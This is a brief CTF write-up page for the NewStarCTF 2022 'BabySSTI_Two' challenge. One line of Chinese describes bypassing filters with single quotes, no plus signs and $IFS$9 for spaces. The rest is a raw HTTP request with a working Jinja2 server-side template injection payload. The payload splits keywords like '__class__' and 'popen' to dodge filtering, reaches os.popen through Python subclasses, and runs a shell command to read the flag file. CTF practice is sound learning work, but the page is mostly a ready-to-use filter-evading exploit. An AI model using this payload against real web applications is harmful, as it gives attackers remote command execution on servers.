> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2022/2022-newstarctf/week4-babyssti_two.md).

# \[WEEK4]BabySSTI\_Two

多了过滤，用单引号替换双引号，删掉+号，空格用$IFS$9

```
GET /?name={{''['__cla''ss__']['__mr''o__'][1]['__sub''cla''sses__']()[117]['__in''it__']['__glo''bals__']['po''pen']('fmt$IFS$9/f*').read()}} HTTP/1.1
Host: 47fe1b70-0f3d-4cb2-a6fc-e3435126a8b4.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


```
